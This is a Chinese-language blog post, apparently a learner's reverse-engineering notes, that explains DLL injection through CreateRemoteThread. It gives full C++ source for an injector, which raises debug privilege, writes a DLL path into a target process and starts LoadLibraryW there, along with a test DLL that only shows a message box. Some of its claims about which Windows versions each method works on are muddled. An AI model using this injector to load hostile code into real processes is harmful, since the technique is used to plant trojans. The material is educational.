最近在學逆向,學到了DLL注入。DLL注入有三種方式:創建遠程線程(該方法不適用於win7及以上的OS),使用註冊表(APPInit_DLLs,該方法不適用於xp及以上的OS)。消息勾取(SetWindowsHookEx()API )。下面介紹一下關於創建遠程線程的實驗。
遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。我們知道,在進程中,可以通過CreateThread函數創建線程,被創建的新線程與主線程共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新線程,被創建的遠程線程同樣可以共享遠程進程(是遠程進程耶!)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內存地址空間,也就擁有了那個遠程進程相當的權限。例如在遠程進程內部啓動一個DLL木馬。
下面貼一下實驗代碼
myhack.cpp: 待注入的dll文件代碼(VS2010編譯通過,得到myhack.dll)
#include "windows.h"
BOOL APIENTRY DllMain(HANDLE hMoudle,DWORD reason,LPVOID lpReserved)
{
switch(reason)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL,L"this is a test!",L"Success",MB_OK);
break;
default:
return TRUE;
}
}
inject.cpp:inject.exe將myhack,dll注入到目標進程
#include "windows.h"
#include "stdlib.h"
#include "stdio.h"
#include "tlhelp32.h"
DWORD ProcessNameToPID(char Name[20]);//將進程名轉化成PID
VOID EnableDebugPriv() //提權函數,如果不加此函數,再調用openprocess時會報錯,使用getlasterror得知錯誤號爲5(權限不夠)
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &tkp, sizeof tkp, NULL, NULL);
CloseHandle(hToken);
}
int main()
{
DWORD pdwProcessId;
WCHAR pszLibFileName[MAX_PATH]={0};
char lpDllFullPathName[MAX_PATH],ProcessName[20];
HANDLE hRemoteThread,hRemoteProcess;
PWSTR pszLibFileRemote=NULL;
printf("請輸入進程名稱:\n");
scanf("%s",ProcessName);
printf("請輸入dll地址:\n");
scanf("%s",lpDllFullPathName);
MultiByteToWideChar(CP_ACP,MB_ERR_INVALID_CHARS,lpDllFullPathName,strlen(lpDllFullPathName),pszLibFileName,MAX_PATH);
if((pdwProcessId=ProcessNameToPID(ProcessName))==-1)
return 0;
EnableDebugPriv();
hRemoteProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pdwProcessId);//打開被注入進程
if (hRemoteProcess==NULL)
{
DWORD testerror = GetLastError();
printf("%u\n",testerror);
printf("OpenProcess Error\n");
scanf("%s",ProcessName);
return 0;
}
int cb=(1+lstrlenW(pszLibFileName))*sizeof(WCHAR);
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);//開闢內存
if (pszLibFileRemote==NULL)
{
printf("VirtualAllocEx Error\n");
scanf("%s",ProcessName);
return 0;
}
if(!WriteProcessMemory(hRemoteProcess,(PVOID)pszLibFileRemote,(PVOID)pszLibFileName,cb,NULL))//將dll模塊名稱寫入被注入進程作爲私有變量可供目標進程使用
{
printf("WriteProcessMemory Error %d\n",GetLastError());
scanf("%s",ProcessName);
return 0;
}
PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("kernel32")),"LoadLibraryW");//獲得LoadLibraryW地址
if(pfnStartAddr==NULL)
{
printf("pfnStartAddr Error\n");
}
//創建遠程線程,線程回調函數就是LoadLibraryW,pszLibFileRemote中的dll路徑作爲LoadLibraryW的唯一參數傳入
hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL);
if (hRemoteThread==NULL)
{
printf("CreatRemoteThread Error\n");
scanf("%s",ProcessName);
return 0;
}
scanf("%s",ProcessName);
return -1;
}
DWORD ProcessNameToPID(char Name[20]) //進程遍歷就不用多說了把,方法多的是
{
PROCESSENTRY32 pe32;
pe32.dwSize=sizeof(pe32);
HANDLE hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0) ;
if(hProcessSnap==INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot fuild!\n");
return -1;
}
BOOL bMore=Process32First(hProcessSnap,&pe32);
while(bMore)
{
size_t len = wcslen(pe32.szExeFile)+1;
size_t converted = 0;
char * Cstr;
Cstr = (char *)malloc(len*sizeof(char));
wcstombs_s(&converted,Cstr,len,pe32.szExeFile,_TRUNCATE);
if (!strcmp(Name,Cstr))
{
printf("find it %d\n",pe32.th32ProcessID);
return pe32.th32ProcessID;
}
bMore=Process32Next(hProcessSnap,&pe32);
}
CloseHandle(hProcessSnap);
return -1;
}
下面是在win8上跑,不通過。
開xp虛擬機再跑一下:
記事本彈窗,success,這就是注入的dll。
思考:爲什麼在win8上該程序不能成功注入dll文件?
解答:windows從kernel6(vista,7,8)開始採用全新的會話管理機制,這使得通過creatremotethread()API注入dll的舊方法對某些進程(服務進程)不在適用。
試驗中遇到的問題:關於WCHAR * 與char *的轉化。http://blog.163.com/tianshi_17th/blog/static/4856418920085209414977/該網站給出瞭解決方法。
後續:研究在kernel6中如何使用creatRemoteThread實現dll注入。